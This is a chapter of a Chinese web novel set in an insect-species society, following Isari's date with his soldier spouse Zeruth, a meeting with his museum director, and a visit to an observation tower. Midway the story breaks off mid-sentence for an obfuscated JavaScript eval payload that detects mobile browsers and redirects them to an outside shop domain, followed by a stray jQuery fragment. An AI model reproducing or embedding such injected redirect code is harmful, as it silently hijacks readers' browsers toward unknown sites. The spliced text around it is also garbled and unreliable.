什么样的表情呢?
艾萨里歪着头,泽鲁斯显然努力保持着镇定,但是雄虫可没有错过他脸上露出的一瞬间的惊艳和满足。
如果有特效的话,艾萨里希望黑色的大狗狗会呼哧呼哧甩尾巴,旁边是各种闪烁着的黄色四棱星。
艾萨里可不是没有吃过营养剂,当然知道那些黏黏糊糊打成一团可以放两年的东西口感到底如何,甚至有些会是怪味的水果味。
所以,军雌在离开前线后,是很容易得到满足的生物。
只需要一点新鲜的事物,一点安抚……
或许还有一点爱,就可以让他们心甘情愿地俯首。
艾萨里不知道军雌是否也会随着时间而愈发渴求更多,但他觉得约会的时候思考这些实在是不太礼貌,于是探出叉子,再想给泽鲁斯喂第二口。
但是军雌已经学会了这点小动作,抢占先机把剥好的虾肉送到了艾萨里嘴边。
他的手指极灵活,而又不怕被那些虾四处生出的尖刺所扎破。艾萨里初还以为对方会不太清楚如何处理这种小生物的甲壳,却发现他极熟练地扣住甲壳的空隙一捏一拉,几下就把虾连肉带着完整的尾部一并剥落下来。
艾萨里先前主动的时候还没有感觉,但现在要艾萨里直接对着手下嘴,他不免有些羞耻,抬眼去看泽鲁斯,对方倒是神情自然。对着泽鲁斯真诚期待的目光,艾萨里说不出退却的话,只得低下头一咬,奉劝自己今后不能再把军雌教坏了。
如此一来一往,自以为高攻低防的艾萨里低头看了看自己那座摇摇欲坠的小山。
他决定暂时休战,专心解决午饭。
螺旋屋的菜确实名不虚传,除了从泥猛鱼中,艾萨里挑不出任何刺来。
他觉得自己挑了个好地方。
而和艾萨里想的一样,泽鲁斯到底还是有知识的空白区域。军雌对着桌上那几碟花花绿绿的酱料有些无措,面对干碟、酱油、酸辣酱、芥末奶油,他谨慎地用叉尖轮流在每个小料碟中点了一下。
艾萨里偷看着,有些想笑,又觉得这样实在不太礼貌,只好端起柠檬水的杯子,浅抿一口水来纠正自己的表情,准备等下给泽鲁斯介绍。
却在这时,一道艾萨里平日熟悉得不能够再熟悉的声音从他们身后响起来。
“艾萨里,在这里约会呢?”
艾萨里差点被柠檬水呛住,他猛地转过头去。
样貌比艾萨里要成熟的多的雄虫留着短短的胡须,他穿了藏青的衬衫,原麻色的马甲和高腰西裤,握着手杖,正笑眯眯地站在他们桌边。雄虫身侧站着一只高挑的亚雌,穿着螺旋屋的统一制服,看上去刚从后厨或者前台绕出来,还端着托盘。
“……馆长?”
艾萨里呆呆地说。
馆长平日里在博物馆虽表现得是个平易近虫的角色,但总归是长辈兼上司。如今在约会现场猝不及防地撞见,还是叫虫有种小时候偷跑出去玩被抓个正着的微妙感。
“怎么这个表情。”
坎特尔星历史博物馆的现任馆长拖开旁边的空椅子坐下,一点也不见外。
“喔,艾萨里,我还以为你知道这是我的雌侍开的店呢。”
“像你平时这样下班就跑,聚餐不来,茶话会不来,我雌侍开的店自然也没机会带你认认门。”
那名亚雌微微弯腰,对艾萨里和泽鲁斯点头致意。
“初次见面。”
亚雌转而把手里的托盘中的甜点放在两虫的桌上,玻璃杯的椰奶中有着各类小料,包括但不限于面包片椰丝和果冻,上还点缀着一朵小花。
艾萨里未曾吃过这个,一时间也说不上名字。
“新婚快乐啊,这是新研究出来的菜品,算个赠菜。”
馆长笑道,“算你们赶巧,是在我之后最先品尝的了。”
亚雌闻言,伸手在馆长肩上轻轻拍了一下,像是嫌他话多。
馆长却毫不在意,反而顺势抬起亚雌的手,在他指节上亲了一下。
艾萨里突然有点不知道视线该放哪里,最终选择了看泽鲁斯。
然后,馆长魔术似的摸出一个绒盒来,推到艾萨里面前。里面是一对银色星轨样式的耳夹,下方垂着一枚很小的装饰,正是坎特尔星。
“这……”
“别露出那种要把礼物退回来的表情嘛。”
“只是一点点员工福利,在博物馆工作的虫都有。”
“谢谢您。”
艾萨里只来得及这么说。
“我就不打扰你们的二虫世界啦,”馆长说到这里,正要离开,忽然又像想起什么似的,冲着艾萨里眨了眨眼。
“晚上有兴趣的话,可以来游戏会,也把你的配偶介绍给我们认识认识。”
艾萨里平时几乎不参加这种社交活动,馆长知道这点。
他大概也只是顺口一提,并没有非要他答应的意思。
等馆长搂着亚雌走了,艾萨里才松了口气。
“怎么会在这里遇到馆长啊……”
艾萨里嘀咕着,把那只绒盒合上,又忍不住打开看了一眼,而后看向泽鲁斯。
军雌抿着嘴,他有感觉到自己在这场对话中被冷落。
泽鲁斯有一瞬间冒出过难堪的念头,觉得自己是不是让艾萨里丢脸了,以至于艾萨里的朋友的目光轻轻掠了过去,也不曾给他自我介绍的机会。
“那是我工作的博物馆的馆长,叫做洛维……”艾萨里显然知道这点,“嗯,刚刚他不是故意不看你的,馆长他有军雌恐惧症…”
泽鲁斯发愣中。
艾萨里说完又觉得这话好像不太合适,但想着泽鲁斯已经是自己的雌君了,自己知道的理应泽鲁斯也能知道,为了转移话题,他就把盒子又打开了。
“泽鲁斯,帮我戴一下耳夹吧。”
雄虫随口说着,微微侧过头去,露出白软的耳垂,边缘有着淡淡的粉色。泽鲁斯不曾做过这样的事情,他捏了耳夹,俯下身把雄虫耳侧小勾样的发丝拨开。
软发轻轻擦过他的指节。
“…好了。”
他哑声说。
艾萨里这才转过头来,“你要别吗?”
他说话的时候带着些开玩笑的味道。
当然,军雌对于他的指令、命令、玩笑等也是一概不拒绝的。
等吃完休息片刻后,艾萨里和泽鲁斯才离开螺旋屋。
在去天穹塔的路上,艾萨里的目光不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17936885|213742||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
自觉地就会落到泽鲁斯身上。
军雌戴着耳夹的样子让他的气质有些微妙的改变,很新奇,仿佛本来严肃端正的军雌变得有些羁傲不驯起来。银色的耳夹扣在他耳侧,小星球轻轻晃动。
他会留在这里吗?他会留在这里吧。
直到泽鲁斯似有所觉地转过头来和他对视,艾萨里才像是被抓包了一样,火速转开视线。
盯着摇摇晃晃的小星球,艾萨里倒是没有走神,对于天穹塔的介绍倒是比先前在广场还要流利了。
“坎特尔星刚完成初步开发的时候,天穹塔还只是作为观测使用。”
“后来城市扩建,它也不再做原用,改建之后底下几层设置成了展馆和餐厅,最上方则是观景平台。游客都很喜欢来这里拍照。”
他带着泽鲁斯一层一层往上,有时买点到处都有的特产小零食给泽鲁斯尝尝,最终到了最高层的观景平台。
站在坎特尔天穹塔的观景平台上,可以俯瞰整座城市,上面还朝着各个不同的方向放了几架老式望远镜,最初设计是投币的,后来变成刷信用点,现在则是可以直接免费使用了。
雄虫们曾经在这里举行过“月亮真美,看看月亮吧”的活动。
实际在虫们的生活中,有很多个卫星共享了月亮的名头,日常虫们总是偷懒地简称。艾萨里也是在观景平台的指示牌上,才记住坎特尔星的主卫星全名为 KTL-S4-2 号伴行卫星。
他和泽鲁斯沿着平台慢慢走了一圈,也看了望远镜,天幕边缘已经浮出一轮浅白的卫星,像伊塔利亚二世在任时发行的硬币,只是现在它已经彻底被淘汰了。
天幕微微发蓝,下方的城市明亮而有序,广场上的青铜群像已经变成小小一簇,以艾萨里的视力看不太清楚。环城航道上不时有悬浮车拖着尾灯掠过去,像在半空中划出一条条柔亮的线。
艾萨里把手搭在栏杆上,侧头去看身边的军雌。
“泽鲁斯,你会想去那个游戏会吗?”
泽鲁斯犹豫了一会,坦白地说:
“我不太擅长和陌生虫交际。”
“其实我也不太擅长。”
艾萨里同样老老实实承认,他抬头看着天空。在不知不觉之中,天色就沉下来了。
白昼已经快要退尽,天空化作一片温柔的暗海,让艾萨里想到泽鲁斯精神海的模样。
“馆长喊我去过很多次,我都没怎么答应过。每次想想要面对一堆虫交际,就觉得还不如在家躺着看光屏。”
高处的风比地面要大一些,吹乱了艾萨里软绵的金发。
泽鲁斯就站在他旁边,目光一直落在雄虫身上,安静地听着。
“不过,”艾萨里继续说,“如果你感觉身体状态还可以的话,可以陪我过去吗?待一会儿就走也行,不想说话就不说。我只是觉得…或许我也是时候多认识几个虫了。”
或许你也可以认识一些伙伴。
“只要您在我身边,我在哪里都可以的。”
军雌严肃地说,有如宣誓。
艾萨里怔了怔,随即笑起来。
“我当然会在你身边的。”
“如果待不住,我们就一起偷偷溜走,一起回家。”